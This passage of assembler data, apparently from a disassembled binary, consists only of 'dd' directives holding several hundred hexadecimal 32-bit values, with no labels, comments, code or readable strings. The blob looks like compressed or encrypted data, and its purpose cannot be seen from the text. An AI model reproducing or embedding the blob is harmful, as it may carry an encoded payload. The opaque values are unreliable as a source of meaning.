		dd 8876E8ADh, 52EA1CFCh, 0BA7F2D35h, 0D4C35CBBh, 7216684Eh
		dd 14AA37BCh, 13BAFF20h, 74AE2555h, 0E5B50452h,	0E277B81Eh
		dd 1679181Ah, 0B9E2085h, 0C6A35EF7h, 3E11990h, 8FBA6795h
		dd 0A3F6810Fh, 35E91773h, 0B95D11ABh, 7602B5BCh, 8B8AA6A0h
		dd 0DCF554C1h, 60A7D497h, 0B7004EBh, 0E971D309h, 0E833C024h
		dd 0A0021EA1h, 44A60082h, 0E6485F26h, 0E7BCC801h, 881B6785h
		dd 422BECh, 4BADF68Ch, 0EA4C5B2Dh, 0ECB7CC00h, 911A6C8Ah
		dd 59DA002Fh, 0CF899924h, 45005B33h, 0F235AF46h, 0BEE59Dh
		dd 29EA0160h, 92567C8Eh, 8FEC9A07h, 0C480635Ah,	3928892Dh
		dd 0CA807B08h, 68790A6Bh, 1FC08A33h, 17E3096Ah,	1A891BF9h
		dd 88803EB8h, 760B6EBh,	2B8CED25h, 0D6E07CDh, 0E0F591AFh
		dd 83B8C958h, 0F3C03A45h, 7D6C00A2h, 0E647A4A3h, 550032C0h
		dd 0BB9F856h, 0E4F59Bh,	0C5600EAFh, 577DDE2Dh, 0BEBDC912h
		dd 0B817AD19h, 1E94F6E8h, 0C0960D76h, 0D8366D16h, 0E10FCEBAh
		dd 3475883h, 5FBC01h, 0A9CF3030h, 9BE8198Dh, 88A60800h
		dd 7414A5FEh, 94730Fh, 0DC3B9912h, 8937EAB6h, 0DAA869C0h
		dd 734D6BC9h, 0A40D003Ah, 0C710B0F6h, 90017D29h, 0A8EE5960h
		dd 0FE494407h, 61BF8D00h, 0F51160AEh, 0BC5155F3h, 0ED753405h
		dd 1FFD33A8h, 689A6F1Eh, 31D100CEh, 0A02E5453h,	5E00BCE7h
		dd 15F4440h, 9214C2h, 2B8D186Fh, 992A790Dh, 6A538811h
		dd 298A13h, 7E04A4FAh, 3B01FF25h, 5DBBE89Ah, 0CBCF483Fh
		dd 43BEC196h, 90264E0h,	384AA2E4h, 0F7E57400h, 0CF3A4610h
		dd 50B1076Eh, 3340D4F2h, 30EF244Fh, 1E66C3CEh, 0FE005CBDh
		dd 9C077F9Fh, 0B07EDF3Eh, 584E06B8h, 0DEC34BB5h, 6B0EA500h
		dd 83C4DC37h, 951D1F97h, 0CD884004h, 506DA233h,	0A4AF4E50h
		dd 0FC1E436Bh, 5BD19442h, 88BDCE06h, 8318E135h,	850D6F4Eh
		dd 66C70124h, 0D4D3B240h, 1DD74076h, 5039EE4h, 0BD7D14A3h
		dd 0AAA0FF8Eh, 942248h,	0C857B5EEh, 0E7455E28h,	0D4628800h
		dd 0DF95F3B0h, 2AE30AC3h, 8E56ED6h, 0CD945591h,	0A244C0A2h
		dd 1C68C9E6h, 0C099EC0Ah, 0AAF98EACh, 0F300214Ch, 0CAE80DB3h
		dd 30A3B4DCh, 0A5AF4F6Eh, 901E1E44h, 0FB94B1F2h, 85FF1EF7h
		dd 161C08Eh, 7BD1EFA2h,	99372C87h, 74F0020Dh, 861FA48Eh
		dd 1E8803BAh, 0BD622630h, 48A4CA2Bh, 5882221Ch,	1948EB9Ah
		dd 0F8302D46h, 0C62753C5h, 5E70B765h, 7C7F09F6h, 1C71CB0Ah
		dd 1600AA14h, 0B82BC27Bh, 58960721h, 1F3CE5C7h,	8CEA4B80h
		dd 8B00186Eh, 307B0B29h, 3E87FF9Fh, 2A1F4566h, 2446h, 0E6D98C58h
		dd 3309CA84h, 20822442h, 6A1C3A10h, 0C5E30041h,	1B84E2C1h
		dd 0C800396Dh, 7183E5BEh, 18F37E7Fh, 0CF60E8AEh, 0D8EB5E24h
		dd 91303B70h, 0B84F9E62h, 368B0EB5h, 29E0DC16h,	819FFD5Eh
		dd 64989A9Ah, 5A4E6F00h, 3D9E33CBh, 0FD890017h,	87D1DAEh
		dd 47997BA1h, 0BE5EEF80h, 0EA7CDAC9h, 217F0024h, 1F3B61C2h
		dd 0C007A87h, 0C52B3D9Fh, 0EBAEF453h, 15AB9760h, 0B946FD85h
		dd 92293901h
		dd 0CC6762E8h, 11003708h, 5BEC2C47h, 0A08AC726h, 0ED0DBFh
		dd 8BE35996h, 74254D6Ch, 54B21302h, 41021CA1h, 9E207C81h
		dd 9DF238h, 4C0AD2D8h, 802B5B7Bh, 75905A0Ch, 697EDE35h
		dd 0AD0354C8h, 8BBE0BABh, 89293700h, 0F04FADFCh, 1DE3E0CAh
		dd 0C40112A3h, 7C02BBh,	0EC4A592Fh, 14849A8Dh, 0AE688E86h
		dd 0C5238400h, 62C4DFA7h, 6FAD348h, 7197F654h, 0F252004Ah
		dd 476E6DC0h, 120E7595h, 0A0D63593h, 3EB54DE4h,	0BBD2092Ah
		dd 798F2D53h, 4007F69h,	5A7A1112h, 0B9CC5712h, 162D2607h
		dd 0F50CF1A0h, 0DAE0018h, 5379E392h, 21006F37h,	44A20181h
		dd 16347E2Fh, 58498EFh,	94BDC60Fh, 8C9C0012h, 2930E188h
		dd 509C6358h, 44023343h, 6627C53Ch, 0D0EAB07Eh,	0CD719Bh
		dd 0D63731D5h, 0C6CAE45h, 0C7C3E300h, 4A68345Ah, 116F263Ch
		dd 3161606h, 5CBAE96Ch,	5F6145C0h, 0A2043202h, 0E1C6CE23h
		dd 0DDF868C2h, 79DA042Bh, 0C2E88817h, 3561A73Ch, 25F235Eh
		dd 2BCF762Dh, 3282C817h, 668900E9h, 0CCF202ABh,	5B09483Eh
		dd 5C2ACAh, 4B3B596Ah, 0B73FE60h, 0E7902D62h, 364E400h
		dd 32A1A0E3h, 27E0DFFFh, 0C73C7560h, 476480DFh,	357216B6h
		dd 52781ED7h, 892CBE82h, 40771217h, 0C11F86DDh,	70003C62h
		dd 0CCBA3652h, 0F62281DFh, 3F452663h, 0C9E7006Eh, 0A5B6E3DDh
		dd 5E5F9400h, 8E9F97F0h, 0EB07002Dh, 634046BBh,	8C33C1D2h
		dd 0C31F31h, 3DDD6C58h,	433F5F46h, 0AC3A6001h, 0D373D1DAh
		dd 0C4FB466Fh, 2100B024h, 9A065A5Dh, 962C0EFh, 0B694244h
		dd 0B10F9901h, 3AD72493h, 0DFFD93A0h, 3897A34Ch, 45007584h
		dd 0E9475E27h, 0BF1BCCBh, 0EC811B93h, 891C7A7Ah, 0E7DE243Ch
		dd 1D0BC7D4h, 8798EF83h, 33685C1Ch, 142F6AE8h, 18B657CAh
		dd 0BE5655C0h, 790B0EB2h, 8BF21F06h, 0C481CA34h, 3668061Bh
		dd 0F9FB593Ch, 0F7A7F783h, 4509D35Fh, 6E141B6Eh, 847A1D0h
		dd 488DFF58h, 944A835Fh, 812C5A0Fh, 0FB69B0E9h,	8552F8h
		dd 4AD7734Fh, 3F22D243h, 136088B8h, 0FFC50396h,	0E3993BE0h
		dd 0D2B65A00h, 20BB602Fh, 5873761Eh, 19704907h,	3B72B350h
		dd 7C8800DFh, 7F947E74h, 0AC006F7Ah, 2781F56h, 0B0162041h
		dd 7EE70E3Ah, 0A5AF091Eh, 29F3C0DFh, 734157D2h,	0CC38DC98h
		dd 4A349E90h, 0AA80CE9Fh, 6356A07Dh, 41D60794h,	33C3BC3Eh
		dd 3F80E0D3h, 9006BB9h,	8D36F218h, 2BE474h, 0A1C40A86h
		dd 7772499Ah, 5275AE00h, 6D7F091Dh, 66E10082h, 0C40D6B6h
		dd 4207AC37h, 0CB8BF545h, 0D9500D57h, 27EAAA4Dh, 0F0E65901h
		dd 0E49397h, 76AD63DEh,	5C4D0448h, 51950117h, 0DE22E8A2h
		dd 0F6CF8101h, 6A5B6743h, 0F01AB63Ah, 2831ABDh,	313CE3FAh
		dd 0DE5AF585h, 40DEAD9Ch, 49209D1Fh, 6CE8C213h,	1DD00B16h
		dd 0CD12F934h, 7664E3AEh, 4F206920h, 60E0C05Fh,	0D2138166h
		dd 1DAC933Bh, 0C6BC6480h, 0DB00F0BAh, 0F7603E9Eh, 3DCF2FA5h
		dd 0E10069ABh, 0F2AE20BFh, 613C5E54h, 95083B50h, 5B9D3CCDh
		dd 3FE196B6h, 65C088BDh, 8589041Bh, 971DBC35h, 0BDC4CCBBh
		dd 0E075528h, 9A5FE950h, 0ED109B00h, 0D5D89E2Dh, 0C74107BCh
		dd 2E76F3Eh, 0E17E3723h, 2304D56Bh, 24E6ABDCh, 8871CA3h
		dd 0F5830B45h, 4346F0F2h, 0FFB713EEh, 0E049E6D1h, 1C2DBDDAh
		dd 3FAF79EEh, 4901FA64h, 44A5F9FCh, 3E85294h, 0EC0D9184h
		dd 62020025h, 0F9F4C5F6h, 6E6EEF6Ah, 0CACF00DDh, 0FCB20379h
		dd 8D604E90h, 0DBE33ACFh, 9FBD6C04h, 6177C25Ah,	810C89D6h
		dd 723134A5h, 0A0DCB59Dh, 0FEB07BEh, 39C50910h,	3DDEC9FFh
		dd 8C15AC5Bh, 0E00B5E27h, 8325216Bh, 2AB16411h,	0FCC0E912h
		dd 4876E21Dh, 2FB529A4h, 0B7D71755h, 709080BDh,	0C6D9A02Fh
		dd 729AFD0Bh, 0D63D7E58h, 37001546h, 0B60FC4Ah,	899F7DB5h
		dd 80DFF108h, 0F5BF9061h, 6B0086C7h, 0EDB96050h, 0C814BEEAh
		dd 418011C4h, 6491CA57h, 9298A3h, 0E839B8AEh, 1F44114Ch
		dd 0E95A0A38h, 0E26A564Eh, 945F0179h, 0D5FC4F3Dh, 6A7BAFC5h
		dd 0BABCB513h, 7BC4D51Dh, 0E6ABAEE8h, 0A8DA5A4Eh, 33282380h
		dd 1F4409BDh, 9BB339FFh, 95209BD0h, 80DEA3DEh, 9568B191h
		dd 21102274h, 0A27A8D51h, 1D3281E9h, 0C8C7B8F7h, 1EBE6685h
		dd 7BB5C0CFh, 83E58B01h, 2F616AAFh, 0E43A0220h,	8574008Ch
		dd 0E867031h, 0B6E42ACBh, 5BC2C19Fh, 1926396Ah,	6C63E6D8h
		dd 7DB0E525h, 71825B9Ah, 0E60233F9h, 66F35F70h,	8DFDDA12h
		dd 8E43DB0Bh, 0EC693B52h, 0E102F825h, 2B9D886Bh, 98DB5582h
		dd 5DBD0309h, 2DF7392h,	1A0DF117h, 0FFC39277h, 4A2C626Ch
		dd 7C2FC75Fh, 0D1EC4E10h, 2A42FD78h, 0D64BBA5Ah, 675FD49Fh
		dd 2326384Dh, 5C816939h, 0CED82DF6h, 0D7DC5061h, 96A320Eh
		dd 93DD893Ah, 841245DEh, 0B12F812Fh, 40326A1Ch,	60D82831h
		dd 52AB022Bh, 0F20A8C00h, 0A7F4DD17h, 40C86266h, 5B023005h
		dd 778BE9h, 0E4F2B985h,	52723EC4h, 71AEA4F9h, 0F70F5B9Dh
		dd 27293B4Dh, 0E4ED7E75h, 0A94F5223h, 91FD328Eh, 0ED01BDC4h
		dd 8095292Fh, 0DD7C9F20h, 42D4F9B5h, 3A0D9175h,	6176BD7Fh
		dd 0A0F9C763h, 0A8BBF92Ah, 0B29B31Ah, 9CC04EFDh, 0B9129794h
		dd 7ABA0EC1h, 0B7DB0406h, 0AEE50D1h, 459125FBh,	0D471ACFCh
		dd 5DFE3D9Dh, 5E4DBC50h, 9DA4819Fh, 13DF7CF1h, 64EDC02Bh
		dd 3493C4B9h, 0BDC8989Fh, 8027401Dh, 0DD85F32Dh, 0D19D4A9Eh
		dd 71858567h, 0A5F1F710h, 3E9889FAh, 1DB7A512h,	9F331EA0h
		dd 602FB002h, 54C801BEh, 4F86D6FAh, 0B12AE904h,	0C4AF3F58h
		dd 0D589F904h, 163CAC15h, 0BFD6B180h, 0A6D7822Eh, 0F5612D27h
		dd 0C4556912h, 53903D6h, 0F5DE7BF3h, 21E0CF90h,	0D17ACE07h
		dd 1125A59Dh, 55E86BCh,	0C7CCEF7Eh, 1A05E207h, 58719B7Eh
		dd 90775312h, 1E6F43D3h, 404EB6D2h, 85998849h, 5502C344h
		dd 0B07DBEA4h, 0B61BF53Dh, 0FD036C3Fh, 0AECD654Fh, 4051D760h
		dd 0F8958A16h, 0E0F5ADC1h, 0A059C4A1h, 0ED45A304h, 0AEFCCFB3h
		dd 40467A1h, 75A3A8F8h,	59DA48ECh, 0F81F8B30h, 7015FB60h
		dd 2E00388Fh, 0A851E150h, 9045AABCh, 177527C6h,	4D9DC2ECh
		dd 11B240E9h, 5F123632h, 0C9BFA164h, 0CB173E01h, 40136F6Eh
		dd 17E8F42Bh, 0B7FE8B88h, 9D17136Ch, 6FBF2C99h,	0EC152725h
		dd 80D70994h, 0C7666F7h, 0C4147F27h, 0D0BF0ED2h, 8CB289EBh
		dd 0A72CEA01h, 4588E52Eh, 7F838D2Bh, 0B296F1A8h, 1D4600C1h
		dd 37A8C223h, 5A84E827h, 251DC1A9h, 7D897F0Eh, 299A826Eh
		dd 0C6176800h, 66820375h, 81DB47BFh, 0A93D5709h, 7079DB7Dh
		dd 0E402FCB1h, 347D5A5Eh, 0BA8557DDh, 3DB6BBFFh, 0E4310510h
		dd 0F11FEB6Bh, 0B8E74026h, 0E9757CDDh, 0C7024726h, 854B00F6h
		dd 0BA3DB36Eh, 5A97F605h, 95427D78h, 0BBD48F7Ch, 0CFCA0DABh
		dd 71B2CF50h, 785D182h,	8BE8957Eh, 97210D0Ah, 7D226142h
		dd 7C728AF3h, 0C6B5C028h, 895CFAC1h, 152A0449h,	0B6BB1EDDh
		dd 2E9A4AEh, 146ACD80h,	0E34ADF2Dh, 0D8780BBEh,	4B566D77h
		dd 70E1D45Ch, 95D8E2CFh, 0A2DC015Bh, 8D9D09E8h,	12E22D2Ah
		dd 0CFEE3381h, 0FCE6D2BAh, 0FD46D609h, 0D4014B44h, 7B5AC48Ch
		dd 37D97507h, 0ADB02D4h, 9D8509C0h, 505F8096h, 61A294BBh
		dd 5FC4404Bh, 8AB8D9E9h, 92E00A12h, 7F5BC604h, 92DFEBFCh
		dd 0B2CAEFFDh, 395C5640h, 749C2Fh, 903DE104h, 0EB6C86EEh
		dd 6ABF5002h, 5D701FD6h
		dd 0A680AEFBh, 0EC63E001h, 8F96C080h, 0C51EAE51h, 0B7526C01h
		dd 8B5F5B3Ah, 96A8E86Eh, 0B7CC3CEAh, 0E65BE129h, 5817F72Ch
		dd 6DE083A6h, 0B90AC29Ah, 88159763h, 0FB950509h, 8C8213DCh
		dd 0E89C31ADh, 0E48A672Dh, 5FB76218h, 0E5B75AF8h, 0AC3C50C8h
		dd 0DD28C025h, 6D61BB91h, 30B884h, 0D2E69355h, 28B0FA7h
		dd 5B531FC4h, 0A4DDB7EBh, 4E0021E6h, 1954B584h,	751ECBBFh
		dd 7D0B3168h, 0C4495108h, 61C85310h, 0CF960FD9h, 2E549AA8h
		dd 707EFC25h, 1D2160DFh, 61976F64h, 0BB031B3Fh,	29E308C8h
		dd 436714B5h, 0D170F4E9h, 38AD707Eh, 0D003135h,	8D292707h
		dd 9A8712A9h, 71C061B2h, 0E52D8529h, 8BBADD13h,	0A733D977h
		dd 0C7D73C4Ah, 2E5BAD8Eh, 121BDD70h, 0AB228F3Fh, 0C2EAC912h
		dd 0F3555BE3h, 69B4F886h, 261BDE01h, 414F431Dh,	0ED97C83Bh
		dd 745EF600h, 236FBA1Fh, 0B0E47914h, 5C3500B7h,	77BB664Ah
		dd 0E2BD96C9h, 3E597D80h, 6D27FB9Fh, 0FFF7C05Fh, 0C13B9BB1h
		dd 0AA6667F5h, 7EA7BC3Ah, 6F07F697h, 0FD216162h, 0D49B1FC2h
		dd 0AB236489h, 0C27EC5F5h, 8FD42068h, 80447959h, 29BB98EFh
		dd 1E619D16h, 306260A7h, 0DB5F1DF5h, 97BB7263h,	0FCA194E1h
		dd 3D4A9D0Bh, 16AC11FDh, 5A86F68Ch, 0EE5C84CDh,	8D704720h
		dd 8960028h, 2AF7FF0Dh,	0EF0BC43Fh, 0E9BCF87Ah,	0B9608172h
		dd 770A16C9h, 7D57A35Bh, 74AD705h, 5AA822D5h, 0B24AE0D3h
		dd 56AE9369h, 0F5766BE7h, 11B46D6h, 0DF42C614h,	0F6F99BEEh
		dd 0B2D7E478h, 0FC230405h, 0DCEA7CFEh, 8A179626h, 5ABD50F9h
		dd 0F000FEBCh, 0BFAF7E5Fh, 75881D9Dh, 58B20A08h, 496F761Fh
		dd 2D5445Fh, 2DB74BAh, 0BA5F2F7Bh, 0D4AAF4B9h, 9105A75Ah
		dd 1DA8F548h, 3D5D46A2h, 6F268078h, 27028F1Fh, 6AC8E730h
		dd 255D64E3h, 20D55750h, 993E69FFh, 424C04A3h, 0AFCAC71Dh
		dd 0F5D6CCA8h, 0DEBFECE4h, 0FE997C95h, 0D10F5B05h, 97C4DF58h
		dd 16DF4FFCh, 0EF2A6B7h, 0ABF410BBh, 0D9CD5737h, 34E384Bh
		dd 0ED2D1062h, 0C4B6D8Bh, 0DF2F0EDDh, 498D08B1h, 1953721Dh
		dd 0BD34E50h, 20291609h, 8B935650h, 2669F78h, 90B2A570h
		dd 28D7632Dh, 572FD388h, 0BF26CABDh, 0E67AC5E0h, 525604ABh
		dd 0BF5499C9h, 9046108h, 0BB7E6DE9h, 0E788623h,	0D44E09A0h
		dd 185DA4EAh, 1E7DBF5Ah, 0D6426BF7h, 35F804C1h,	0C275BF0Fh
		dd 0AB5EE7FCh, 4BD8D132h, 5BF9D14Bh, 1B37F5DAh,	0ACA97B81h
		dd 9708951h, 305F810Bh,	4B18C0A0h, 988A31D6h, 0DE12FD25h
		dd 524925Ch, 89660ADEh,	92AC9585h, 0F131EA90h, 761007E9h
		dd 3770DB27h, 0FC9BD327h, 0DB901317h, 524785D2h, 0B40003B2h
		dd 8739316Ch, 29000181h, 8F9992A9h, 19CC645Ch, 0A290939Fh
		dd 4B783339h, 539288h, 0E0D912BEh, 0B4C7A74Bh, 0CD51A2B7h
		dd 85C57711h, 52256188h, 0DC9C54h, 2FBADFEEh, 0F4A8D9CAh
		dd 2E398039h, 0D11747F3h, 77E00DF6h, 190179E0h,	572FF7EAh
		dd 0EC7EFA8Ah, 9624A506h, 26AD505h, 62AC9FC4h, 0A5D72F13h
		dd 0EBEC15DAh, 0E98555F2h, 0C08EAF28h, 272DA224h, 0F8783453h
		dd 0B5F54C53h, 950D8128h, 390057C4h, 0C05297EAh, 1CB9E5Eh
		dd 8FC9709Ah, 2AD7E70Ch, 5CA9E6EDh, 0CE9FA566h,	902DEE27h
		dd 0D98A256Ah, 8BA72543h, 519F3A5Fh, 450A24AAh,	8D9BAF65h
		dd 43481B8Ah, 0A498C54Fh, 0FC2D431Ch, 41B5589Eh, 679E892Bh
		dd 3A6DD72Fh, 100734Bh,	671E4034h, 0F2E83E58h, 4E502C58h
		dd 2D6AB01Fh, 0FFDC0145h, 0C51102F4h, 0F2057E95h, 0F5C6E456h
		dd 70939029h, 24F19515h, 440E4988h, 0F6A5EE89h,	0C3D5422Ah
		dd 0BCCA16CFh, 0CD91D854h, 25194062h, 4A953C0Ch, 0E9D8C80Bh
		dd 0F6FF10EFh, 0D3100B8h, 755002AEh, 909565EFh,	218D09E8h
		dd 30E2F5Dh, 601B689Dh,	72F2D781h, 623D9F25h, 0DC41C2DEh
		dd 2BDE60CFh, 0DF0081C8h, 23556246h, 0D50D18Bh,	74E95BFCh
		dd 8CC32E2Bh, 856B2D01h, 41F3F0D8h, 6B03D5F8h, 3704A7E3h
		dd 0AF66236Fh, 46D50688h, 0A913222Bh, 0BC3C42D4h, 9AC9518Bh
		dd 0BB56D6BDh, 732A8052h, 9D38143h, 7144311Ah, 1D10BF59h
		dd 368DBC2h, 5DC6413Bh,	1C4BA02Eh, 20B99495h, 4D9DA036h
		dd 0F77EC0F5h, 0BD02ABE3h, 46A9D34h, 0B9B0F5E7h, 0F400F9D2h
		dd 0D422B9A3h, 17DE82EEh, 0BEEB187Eh, 0B5D7871h, 34F4B901h
		dd 0DCC25231h, 5F2550CFh, 3F8A8128h, 0E6CEAFBAh, 89D2E0DCh
		dd 2DD125B5h, 0A920F5D3h, 0FE2515ACh, 0FC0B7CBAh, 0BD01EF05h
		dd 0A2FB23F9h, 7E76A96Eh, 0BF10205Eh, 2B255F6Fh, 0E1F921h
		dd 6D9AC61Ch, 47B732Eh,	99BA5902h, 0F5251AE7h, 2BFA1EB1h
		dd 1B23BE6Ah, 0F8E85502h, 0AADE55BAh, 9F845435h, 600B78B3h
		dd 0EDD561F9h, 0E5EC49F2h, 5910E704h, 4FFC2A4h,	0EF0F99D8h
		dd 0B7CD568Bh, 38F461FCh, 30C98070h, 28DB0A67h,	1BA02C8h
		dd 9BD9EF39h, 2B790CA9h, 0D2C97C28h, 2ED6F3Bh, 0BF94AA25h
		dd 102074DCh, 95290903h, 0DEBD7EA5h, 9B001A46h,	98E17958h
		dd 9D0C26h, 6EB8123h, 75F72665h, 0AF7B9ED6h, 70D6127Ch
		dd 9408E117h, 0E4639812h, 703330EFh, 0A100FBF6h, 9762BD21h
		dd 0DA249Ah, 0AA7CD00Ah, 44AE5785h, 809A909Fh, 0AC6C00C1h
		dd 2A994790h, 900A541h,	81069BE0h, 50FF6192h, 0AAD591E1h
		dd 0A94ED7C4h, 25A67E97h, 81049EDDh, 282BDE83h,	52899EF0h
		dd 95FE842Fh, 442DBBDBh, 7ADEB16Bh, 94F1FCB6h, 1E7DC8A0h
		dd 0B5559A16h, 0F34EA1A3h, 23C15FBCh, 642B010Dh, 0A0E9A6FFh
		dd 499AF88h, 0F4B7A842h, 3233AA51h, 1AEC250Bh, 46D42C7Ch
		dd 0DBC7001Ch, 0F80F0C17h, 456D257Bh, 6E710DC9h, 0BAE84CE9h
		dd 349C3F4Ch, 6CE1A57Dh, 9A6E97F1h, 0C018C879h,	8C8310Dh
		dd 4D9D9F4Bh, 7B666A7Fh, 271007B6h, 4AB35Fh, 0B7266557h
		dd 95C1EC32h, 2FE03D75h, 4341AA8Fh, 7F6AED62h, 0BE02B8F3h
		dd 328EF141h, 11DD8340h, 9685B80h, 34E10D24h, 1800F8D9h
		dd 0CC2DF46h, 0ECCA2548h, 0DB1D0ED8h, 0B767FE0Eh, 9B4F0083h
		dd 9D2B11B7h, 97300120h, 0BFA49855h, 81A00726h,	8408FFE3h
		dd 5C9AEE7Dh, 9DC114C8h, 332ED98Bh, 8CE5607Ah, 7D00687Dh
		dd 5AA7E88Ah, 3833C7FCh, 160054F6h, 9D295EA2h, 25B50481h
		dd 859509C6h, 0A325016Fh, 74B567C6h, 1949D4E6h,	48C09F4Fh
		dd 2CB2621h, 67649733h,	7DD06295h, 0A0B5AFC8h, 0D8367BBDh
		dd 0F607AA4Fh, 0EEEC51BDh, 6660AF60h, 0CCFC16BAh, 3324AB31h
		dd 0A91759F8h, 80599E2Dh, 0CA1E6D4Ah, 654109BBh, 44892933h
		dd 8C890C37h, 4801B249h, 9F212F0Ch, 0F45676h, 0F7CE145Dh
		dd 0BFEBA633h, 54FA6D5Bh, 53569240h, 3F5C28F2h,	0F6B05C25h
		dd 813E5CB7h, 86627234h, 0EBF48368h, 8B6029DEh,	6949B0BAh
		dd 0C718DE23h, 106145D8h, 12792B68h, 52500C12h,	0FD4B51A3h
		dd 0BB60C0B3h, 3B42DC3Eh, 460D6671h, 241E61E8h,	7A12D411h
		dd 0EDB0C0Dh, 0E2281980h, 3C5AA4E3h, 0B7E209BFh, 6CB2985Dh
		dd 0C3D2000Ah, 0C4F749CBh, 0D425AE67h, 9A56C68Ah, 8C1B4B8Ah
		dd 0F95E8B50h, 15B2D5A6h, 0FA6AD830h, 4FA509CFh, 0E8890F59h
		dd 58BA1F5Eh, 1C451642h, 2EF674F8h, 5BD13949h, 39C369BAh
		dd 13AA0096h, 733905BFh, 0A61C0019h, 0E8B0024Eh, 0F2B5908Dh
		dd 0E25BB7F9h, 9238378h, 1B78B48h, 25D71971h, 0E785DDE3h
		dd 0B94AA0C4h, 8A494B9Bh, 43C1014h, 98C17F8h, 5BE66AE7h
		dd 586DDA71h, 0F5A1B66Bh
		dd 0AAEC64BFh, 2AF015E7h, 101212BFh, 38E3D81Ah,	0AE896012h
		dd 0B56179D7h, 61023039h, 6556CDF7h, 0F5209C17h, 0F91D1518h
		dd 0BD01BD66h, 0E350AE74h, 0F1684B08h, 178D7B60h, 0BB6575EAh
		dd 96577C06h, 0CEDB1336h, 336BBAE7h, 0DC00B547h, 38083BDDh
		dd 5AC3F811h, 0B5050CD7h, 0D7C19AAFh, 0AC6498h,	0E2E6E384h
		dd 0EA585681h, 92E8F39Dh, 0AE6B52B1h, 98966ADAh, 0D4B5DCBFh
		dd 0BFF86469h, 0F8848F2Ah, 86A6FF57h, 82F7E9A4h, 0F6F77CABh
		dd 8E840FBh, 893DA0BFh,	1B5B01E7h, 19BD0B8Dh, 23546B2Eh
		dd 0B1F30017h, 8D015DA7h, 0A222392Dh, 5C9305B7h, 0F8B72D5Fh
		dd 0C9267F00h, 0B35F915h, 1384DC65h, 0D5009CD1h, 2DD88652h
		dd 9F5D009Bh, 7948B13Ah, 7D04E471h, 0BB87C32Eh,	0F8D37DB8h
		dd 0FB1F2D38h, 5078AD2Bh, 0D04C7B9Dh, 0A8039D52h, 72A31798h
		dd 0CFDFCBBBh, 2705BD9h, 223547A5h, 46D662FCh, 2BEA0E1Dh
		dd 0A8C46074h, 6282A9B9h, 2A7DDCFFh, 3AA7C09h, 60507A94h
		dd 1FFEDE39h, 0F55261C8h, 887378E6h, 71013E91h,	0F757E4A3h
		dd 322E1812h, 8389807Ah, 57495C59h, 62D8BBFBh, 0F8982C73h
		dd 0E9509D5h, 2E0DA648h, 5AEC9D7h, 0B5890FBEh, 14896057h
		dd 3171F017h, 0DC5736EAh, 97DC03B4h, 38173BFEh,	5B7512A0h
		dd 7728BE0Fh, 7A16416Dh, 8CEEB213h, 8D2B9D19h, 442D1B31h
		dd 4F45017Ah, 861B7E33h, 8AC9DC37h, 0F7FB48CBh,	0F121494Eh
		dd 967E722h, 0E753D7Dh,	6E41D9BBh, 2067813Eh, 5027BF0Ch
		dd 8743131Ch, 77B36890h, 0AA0312B1h, 4C82E361h,	9AA5B27h
		dd 3D55C6A8h, 788805A0h, 808080E8h, 0EFB7C2E3h,	601C6412h
		dd 1286488h, 0E6C55807h, 2033B2ACh, 81802459h, 56D902E7h
		dd 21E901C8h, 4D25675Ch, 0D0B5C01Bh, 2B12D531h,	0FB801749h
		dd 498BF78Ah, 9ABC86C1h, 0ABF73613h, 109588h, 943DFD3Bh
		dd 2489AFB8h, 0DE044304h, 14811488h, 0EC3F2FB5h, 5F17C0EFh
		dd 9FC8CC9Fh, 0F827E8FCh, 850B4126h, 1241B582h,	28C68742h
		dd 20D3D263h, 33162E79h, 27008BD2h, 2737C081h, 0A87BEFDAh
		dd 621898D3h, 723F81Ch,	206550B9h, 19F0B34Bh, 8B27CBF8h
		dd 5AAD8D2Dh, 1D4CD3C8h, 660B2293h, 0DF4BC7BBh,	8309F360h
		dd 0ACD7EA7Fh, 0FAF429B5h, 0D140F180h, 0D622850Fh, 5562FF3Dh
		dd 9589108Ah, 0E9DBAD63h, 7F170024h, 41E3D539h,	5E97965Ch
		dd 8CE90DD4h, 4C9AC858h, 0F334AB00h, 0DA9E1FF8h, 0E8DF006Ch
		dd 0CA353CA2h, 84F83E77h, 0F6C30A1Ch, 6D445000h, 0C280FEh
		dd 0CF427B86h, 0D32F898Dh, 1F91800h, 3822BA9h, 44900D7h
		dd 0AFFB1286h, 1603C293h, 8E1E80FFh, 3011A6D9h,	1A19C358h
		dd 0A360BD2Ch, 1D4DAF58h, 0BBF60396h, 727A1018h, 6D7D3100h
		dd 9281F2E7h, 0B0F43D96h, 0D3E1963h, 31C2481Eh,	0A6307098h
		dd 1B67A27h, 8E8AF9AFh,	87E71F79h, 430281A8h, 19131500h
		dd 0ABF31F86h, 49803A26h, 4FF74EE7h, 0BCFA1436h, 0B1B71930h
		dd 31C6B084h, 0F620CE13h, 0C08E07DEh, 0B1AA4B78h, 1818F091h
		dd 0D9BFFD1Bh, 0BA0C93C2h, 1124AB84h, 0BC8301E5h, 177E26DEh
		dd 1978CB73h, 441B08C0h, 0F24241BFh, 50946C09h,	58883BE1h
		dd 0C43F3079h, 652AC5C8h, 8EEA571Fh, 0DA2B6986h, 3FFB0018h
		dd 0BC773503h, 0C2F6CE7Fh, 86F708CFh, 1B8FD96h,	47FBCB8Bh
		dd 0E079E937h, 0E9C0066Dh, 228DDC0Dh, 5F87885h,	97FB863Ch
		dd 43900F2Fh, 151AC860h, 318B801h, 8E1825D4h, 28A0C107h
		dd 48584E17h, 0DD00E2F8h, 0D34BA7BBh, 664384DAh, 21CC08DBh
		dd 0BBE60301h, 193FEE85h, 6DEA1E4h, 0CE404587h,	0A484A8E0h
		dd 0CB718D12h, 704D3441h, 20810DFAh, 0AAAFFEECh, 36298014h
		dd 8E1C4156h, 0BEA40C42h, 1E083A95h, 4DD521C0h,	0FA9841h
		dd 8C2AC3EAh, 0F3FC09BDh, 0B52E68E2h, 0BC2099AAh, 12802504h
		dd 1601FB6Fh, 0CF81A8DFh, 1ADEC4F8h, 15097E66h,	0B03F0021h
		dd 35BD7281h, 4F021CDBh, 15A1EC0Bh, 60288C6Ah, 8411C7C5h
		dd 1A8B7040h, 4E004257h, 0EDC8C167h, 52C4B0h, 902BCDCEh
		dd 586DB37Ah, 167CD500h, 519B8FB8h, 53D30760h, 0E05C0581h
		dd 0EC460BD1h, 99029E00h, 0C7C4849Ah, 0E10E009Ch, 0B16B0F81h
		dd 707D473Eh, 174B8200h, 2707CAAFh, 21D10ED4h, 0B26052CDh
		dd 78DF0502h, 6554FF12h, 22161F00h, 351732h, 91C1A8D8h
		dd 5F431D21h, 9E25F703h, 0B8A3781Ch, 3993B61Bh,	550F3267h
